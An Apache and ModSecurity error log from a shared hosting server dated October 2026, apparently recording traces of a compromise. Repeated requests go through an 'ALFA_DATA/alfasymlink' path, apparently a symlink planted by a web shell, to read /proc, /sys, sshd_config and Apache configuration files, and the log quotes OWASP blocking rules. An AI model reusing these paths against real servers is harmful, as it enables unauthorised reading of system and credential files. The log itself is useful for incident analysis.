[Tue Oct 27 07:13:40.243541 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 3.221.156.96:17789] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:13:55.778029 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 52.54.249.218:10188] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:13:56.444576 2026] [core:error] [pid 3209616:tid 3209616] (13)Permission denied: [client 185.191.171.5:31228] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/run/lfd.pid
[Tue Oct 27 07:13:59.855894 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 52.203.65.83:30696] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:14:04.094798 2026] [core:error] [pid 3209603:tid 3209603] (13)Permission denied: [client 3.224.215.150:24612] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/device:0f/eject
[Tue Oct 27 07:14:08.605625 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 34.192.67.98:32547] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:14:11.926049 2026] [core:error] [pid 3209611:tid 3209611] (13)Permission denied: [client 44.223.115.10:40332] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/PNP0A03:00/device:20/eject
[Tue Oct 27 07:14:15.722557 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 54.147.80.137:61274] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:14:19.794342 2026] [core:error] [pid 3220899:tid 3220899] (13)Permission denied: [client 50.17.193.48:36665] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory22/node0/memory10/node0/cpu1/firmware_node/physical_node/firmware_node/subsystem/drivers/battery/bind
[Tue Oct 27 07:14:31.727895 2026] [ssl:error] [pid 3209616:tid 3209616] (5)Input/output error: [client 3.214.176.44:58389] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:14:35.753615 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 52.6.97.88:1675] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:14:40.047871 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 3.93.98.99:40084] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:14:51.802914 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 52.207.47.227:37574] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:14:55.786182 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 23.21.175.228:54830] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:15:11.843372 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 3.230.69.161:31286] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:15:16.053526 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 34.234.197.175:12960] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:15:23.879049 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 98.82.38.120:62490] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:15:27.934460 2026] [security2:error] [pid 3221566:tid 3221566] [client 3.93.253.174:5941] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/thermal_cooling/device/physical_node/node0/memory10/node0/cpu0/driver/"] [unique_id "auCHzyV3rvdaeXJTlLG_9gAAAAM"]
[Tue Oct 27 07:15:27.934504 2026] [security2:error] [pid 3221566:tid 3221566] [client 3.93.253.174:5941] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/thermal_cooling/device/physical_node/node0/memory10/node0/cpu0/driver/"] [unique_id "auCHzyV3rvdaeXJTlLG_9gAAAAM"]
[Tue Oct 27 07:15:44.186698 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 54.156.55.147:59002] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:15:47.627140 2026] [ssl:error] [pid 3201640:tid 3201640] (5)Input/output error: [client 3.213.213.161:50386] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:15:49.424701 2026] [core:error] [pid 3220899:tid 3220899] (13)Permission denied: [client 185.191.171.16:35956] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/total_objects
[Tue Oct 27 07:15:55.688041 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 34.195.248.30:34580] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:15:59.797596 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 54.235.172.96:42609] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:16:03.685714 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 34.196.237.236:30774] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:16:07.782185 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 184.73.195.18:49233] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:16:19.542302 2026] [core:error] [pid 3220899:tid 3220899] (13)Permission denied: [client 54.197.178.107:28341] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty16/subsystem/ttyS3/io_type
[Tue Oct 27 07:16:31.495317 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 54.84.93.8:36893] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:17:03.239492 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 52.207.47.227:49330] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:17:07.528163 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 98.84.131.195:25397] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:17:11.075129 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 23.23.99.55:24399] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:17:19.059639 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 54.157.84.74:33848] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:17:23.164298 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 35.172.125.172:9842] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:17:26.958189 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 54.197.178.107:55098] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:17:31.061506 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 100.29.63.24:38228] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:17:35.008567 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 184.73.239.35:33457] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:17:43.288183 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 85.208.96.195:60434] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:17:46.893547 2026] [core:error] [pid 3201640:tid 3201640] (13)Permission denied: [client 185.191.171.10:39452] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-64/slab_size
[Tue Oct 27 07:17:46.992275 2026] [core:error] [pid 3220899:tid 3220899] (13)Permission denied: [client 98.82.40.168:28922] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory7/node0/memory18/subsystem/drivers_probe
[Tue Oct 27 07:17:51.012639 2026] [ssl:error] [pid 3219292:tid 3219292] (5)Input/output error: [client 3.224.205.25:45808] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:17:54.828107 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 54.152.163.42:58696] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:17:55.048769 2026] [core:crit] [pid 3209601:tid 3209601] (13)Permission denied: [client 43.166.129.247:59572] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 07:18:06.960507 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 52.207.47.227:63815] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:18:26.651438 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 18.215.24.66:17019] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:18:30.632996 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 52.201.155.215:32422] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:18:34.618304 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 52.44.148.203:8919] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:18:39.773692 2026] [core:error] [pid 3221566:tid 3221566] (13)Permission denied: [client 85.208.96.206:44466] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/total_objects
[Tue Oct 27 07:18:39.774262 2026] [security2:error] [pid 3221566:tid 3221566] [client 85.208.96.206:44466] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/total_objects"] [unique_id "auCIjyV3rvdaeXJTlLG__QAAAAM"]
[Tue Oct 27 07:18:39.774297 2026] [security2:error] [pid 3221566:tid 3221566] [client 85.208.96.206:44466] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/total_objects"] [unique_id "auCIjyV3rvdaeXJTlLG__QAAAAM"]
[Tue Oct 27 07:18:54.448208 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 107.20.25.33:3508] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:19:00.478709 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 85.208.96.209:42456] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:19:06.469893 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 54.84.169.196:36482] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:19:22.224143 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 98.80.130.239:50612] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:19:26.058619 2026] [security2:error] [pid 3201647:tid 3201647] [client 16.216.88.184:12288] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/210_mod_filter.conf"] [unique_id "auCIvpVvqGtwGAy54pYP7QAAAA0"]
[Tue Oct 27 07:19:26.059054 2026] [security2:error] [pid 3201647:tid 3201647] [client 16.216.88.184:12288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/210_mod_filter.conf"] [unique_id "auCIvpVvqGtwGAy54pYP7QAAAA0"]
[Tue Oct 27 07:19:26.059367 2026] [security2:error] [pid 3201647:tid 3201647] [client 16.216.88.184:12288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/210_mod_filter.conf"] [unique_id "auCIvpVvqGtwGAy54pYP7QAAAA0"]
[Tue Oct 27 07:19:26.255760 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 100.28.118.16:17373] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:19:30.411085 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 3.217.171.106:24393] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:19:50.190997 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 52.200.54.136:56386] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:19:58.171382 2026] [core:error] [pid 3209611:tid 3209611] (13)Permission denied: [client 44.221.105.234:64531] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/subsystem/input4/device/subsystem/drivers/psmouse/bind
[Tue Oct 27 07:20:06.166750 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 3.220.70.171:9184] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:20:22.243758 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 54.84.93.8:41971] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:20:50.170635 2026] [core:error] [pid 3209611:tid 3209611] (13)Permission denied: [client 44.218.170.184:58454] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/firmware_node/device:01/PNP0501:01/subsystem/drivers_probe
[Tue Oct 27 07:20:51.733564 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 185.191.171.1:15794] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:20:58.157851 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 98.83.226.125:47895] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:21:10.161915 2026] [ssl:error] [pid 3209601:tid 3209601] (5)Input/output error: [client 18.206.47.187:64194] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:21:18.220934 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 3.216.13.10:8264] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:21:30.312089 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 34.203.111.15:50053] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:21:36.719541 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 85.208.96.198:32340] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/ssh/sshd_config
[Tue Oct 27 07:21:38.166792 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 54.83.56.1:32295] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:21:56.937552 2026] [core:crit] [pid 3219292:tid 3219292] (13)Permission denied: [client 185.191.171.7:33292] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/spool/at/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/spool/at/' is executable
[Tue Oct 27 07:21:56.937638 2026] [core:crit] [pid 3219292:tid 3219292] (13)Permission denied: [client 185.191.171.7:33292] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/spool/cron/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/spool/cron/' is executable
[Tue Oct 27 07:21:57.076537 2026] [core:crit] [pid 3219292:tid 3219292] (13)Permission denied: [client 185.191.171.7:33292] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/spool/up2date/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/spool/up2date/' is executable
[Tue Oct 27 07:21:58.144981 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 52.54.249.218:47170] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:22:02.172426 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 52.4.229.9:65386] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:22:02.230642 2026] [core:error] [pid 3209616:tid 3209616] (13)Permission denied: [client 85.208.96.201:20876] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/libata/sections/__tracepoints_ptrs
[Tue Oct 27 07:22:04.032399 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 185.191.171.14:55440] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:22:07.648334 2026] [authz_core:error] [pid 3201640:tid 3201640] [client 35.232.46.205:53228] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Tue Oct 27 07:22:07.857339 2026] [proxy_fcgi:error] [pid 3201640:tid 3201640] [client 35.232.46.205:53228] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 07:22:08.038797 2026] [authz_core:error] [pid 3201640:tid 3201640] [client 35.232.46.205:53228] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Tue Oct 27 07:22:18.270301 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 18.232.11.247:57155] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:22:30.162826 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 52.200.54.136:35173] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:22:34.245453 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 54.83.240.58:63952] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:22:42.194559 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 100.27.153.9:12585] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:22:46.223834 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 54.204.12.115:45315] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:22:54.165514 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 3.230.69.161:28903] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:23:06.149359 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 3.225.45.252:35712] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:23:18.161913 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 52.44.148.203:34937] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:23:26.414320 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 35.173.18.61:53712] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:23:46.152814 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 34.233.114.237:43830] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:23:50.150258 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 50.16.72.185:43157] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:23:54.146352 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 23.23.212.212:27151] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/cpu1/node0/cpu0/driver/uevent
[Tue Oct 27 07:24:02.150470 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 54.84.93.8:56598] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:24:06.176523 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 54.225.98.148:52523] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:24:18.133443 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 3.220.148.166:37752] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:24:24.167150 2026] [core:error] [pid 3209616:tid 3209616] (13)Permission denied: [client 85.208.96.197:11178] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-2k/reclaim_account
[Tue Oct 27 07:24:30.919292 2026] [proxy_fcgi:error] [pid 3201647:tid 3201647] [client 165.227.61.164:51416] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 07:24:38.129938 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 54.162.69.192:14756] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:24:58.146848 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 23.21.250.48:62735] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:24:58.832425 2026] [security2:error] [pid 3220898:tid 3220898] [client 43.166.131.228:41040] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "auCKCo0JjhEi1NzVi4XrkAAAAAc"]
[Tue Oct 27 07:24:58.833431 2026] [authz_core:error] [pid 3220898:tid 3220898] [client 43.166.131.228:41040] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 07:25:02.167763 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 18.232.12.157:55560] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:25:06.418123 2026] [core:error] [pid 3220899:tid 3220899] (13)Permission denied: [client 185.191.171.14:38398] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/run/system_needs_reboot.cache
[Tue Oct 27 07:25:19.797155 2026] [core:crit] [pid 3219292:tid 3219292] (13)Permission denied: [client 51.210.112.19:55000] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 07:25:19.950561 2026] [core:crit] [pid 3220898:tid 3220898] (13)Permission denied: [client 51.210.112.19:55002] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 07:25:20.302502 2026] [core:crit] [pid 3209616:tid 3209616] (13)Permission denied: [client 51.210.112.19:55034] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 07:25:20.906165 2026] [core:crit] [pid 3209603:tid 3209603] (13)Permission denied: [client 51.210.112.19:55042] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 07:25:21.660844 2026] [core:crit] [pid 3201640:tid 3201640] (13)Permission denied: [client 51.210.112.19:55050] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 07:25:22.284964 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 44.212.131.50:8001] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:25:26.311293 2026] [core:error] [pid 3220899:tid 3220899] (13)Permission denied: [client 34.199.252.22:48308] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0e/subsystem/devices/device:01/wakeup/wakeup1/device/subsystem/drivers/battery/unbind
[Tue Oct 27 07:25:34.253731 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 107.20.181.148:42512] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:25:38.168892 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 100.29.160.53:34274] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:25:46.143940 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 52.203.68.145:32229] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:26:02.133176 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 3.93.98.99:57249] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:26:26.138713 2026] [core:error] [pid 3221566:tid 3221566] (13)Permission denied: [client 3.229.95.193:40924] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:13/subsystem/drivers_probe
[Tue Oct 27 07:26:30.181710 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 54.83.23.103:16617] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:26:34.240831 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 35.174.253.85:63202] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:26:42.152502 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 23.21.175.228:11190] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:26:45.077578 2026] [authz_core:error] [pid 3209611:tid 3209611] [client 38.110.46.238:44387] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 07:26:46.171708 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 52.5.242.243:18767] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS1/device/tty/ttyS3/flags
[Tue Oct 27 07:26:58.175387 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 54.235.172.96:7884] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:27:06.188063 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 50.17.193.48:47011] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:27:22.135694 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 44.206.65.8:26526] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:27:27.374831 2026] [core:error] [pid 3220898:tid 3220898] (13)Permission denied: [client 85.208.96.197:38874] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-128/partial
